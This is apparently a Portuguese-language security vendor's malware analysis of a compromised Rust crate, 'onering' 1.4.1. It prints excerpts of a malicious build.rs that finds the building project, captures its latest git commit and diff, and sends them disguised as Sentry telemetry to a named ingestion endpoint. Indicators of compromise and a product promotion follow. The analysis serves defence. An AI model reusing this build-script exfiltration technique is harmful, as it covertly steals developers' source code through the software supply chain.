A 10 de junho de 2026, detetámos um comportamento malicioso na versão mais recente, a 1.4.1, da crate «onering» para Rust. A Onering é uma biblioteca de filas síncronas e canais de alto rendimento para Rust, com mais de 18 000 downloads no crates.io. Nas últimas semanas, o npm, o PyPI e o GitHub receberam a maior parte da atenção devido a uma onda de violações na cadeia de abastecimento. Esta semana é a vez do Rust.
A versão mais recente adicionou um ficheiro build.rs que recolhe discretamente dados do Git de qualquer projeto que esteja a compilar o crate e os envia para um servidor remoto, incluindo o código-fonte do seu commit mais recente. Já vimos anteriormente atacantes a darem asas à criatividade ao executarem cargas maliciosas durante a compilação no npm e no PyPI, e agora estão a experimentar o mesmo em Rust. Embora ataques à Supply chain mais recentes ataques à Supply chain centrado no roubo de credenciais, este parece estar focado exclusivamente no código-fonte.
O problema não se limita ao pacote publicado no crates.io. O repositório GitHub do mantenedor também parece ter sido comprometido, pelo que baixar o crate do Git em vez de o fazer a partir do registo não garante a sua segurança. Alertámos imediatamente o mantenedor: https://github.com/cenotelie/onering/issues/1
O que o ficheiro build.rs malicioso faz
A build.rs é um script de compilação. O Cargo compila-o e executa-o no computador do programador durante a compilação. Isso torna-o um local ideal para esconder uma carga maliciosa, pois basta incluir a dependência do crate e iniciar a compilação para a ativar. Não é necessário chamar nenhuma função da biblioteca.
O injetado build.rs faz três coisas.
Em primeiro lugar, localiza a raiz do projeto que está a utilizar o crate, e não o seu próprio diretório. Ele percorre a árvore a partir de OUT_DIR até encontrar o alvo diretório e, em seguida, o diretório pai deste. O resultado é o seu repositório.
fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
let dir = PathBuf::from(std::env::var("OUT_DIR")?);
let mut project_dir = &*dir;
while let Some(parent) = project_dir.parent() {
if let Some(last) = parent.iter().last()
&& last == "target"
&& let Some(parent) = parent.parent()
{
project_dir = parent;
break;
}
project_dir = parent;
}
Ok(project_dir.to_path_buf())
}Em segundo lugar, executa dois comandos Git no seu repositório. Um deles recolhe os metadados do commit. O outro captura a comparação textual completa do seu commit mais recente.
let Ok(commit) = git(
&project_path,
&[
"log",
"-n",
"1",
r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
],
) else {
return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
return;
};O git diff HEAD^ HEAD O `call` obtém a comparação completa do seu último commit, que é divulgada sempre que compila; assim, ao longo de vários commits, acaba por revelar um fluxo contínuo das suas alterações reais no código-fonte, em vez de um único instantâneo.
Em terceiro lugar, disfarça os dados roubados como um evento de telemetria do Sentry e envia-os através de um pedido POST com curl para um ponto de extremidade de ingestão do Sentry. Os metadados do commit tornam-se as etiquetas do evento, e a comparação do seu código é inserida no extra.patch campo.
let payload = format!(
r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
Uuid::new_v4().as_simple(),
patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
"POST",
"https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
&["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
&payload,
) else {
return;
};O disfarce é intencional. Para quem reparar no tráfego de saída durante uma compilação, um pedido enviado para um URL de ingestão do Sentry parece ser apenas um relatório normal de falhas. Há também uma linha comentada que ficou por acaso, // std::fs::write("data.txt", payload), o que sugere fortemente que a carga útil foi testada localmente, gravando-a no disco antes de a ligação de rede ter sido estabelecida.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais abrangente em toda a sua equipa, a Proteção de Dispositivos Aikido oferece-lhe visibilidade e controlo sobre os pacotes de software instalados nos dispositivos da sua equipa. Abrange extensões de navegador, bibliotecas de código, plug-ins de IDE e dependências de compilação, tudo num único local. Impedir o malware antes que seja instalado.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Indicadores de comprometimento
- Dependência
oneringversão 1.4.1 do crates.io. - O ponto de extremidade de ingestão do Sentry
https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/. - A chave pública do Sentry DSN
8197ee42c4f59c83f4cc6d48f5bae821, ID da organizaçãoo4511539639222272, e ID do projeto4511539669368912.

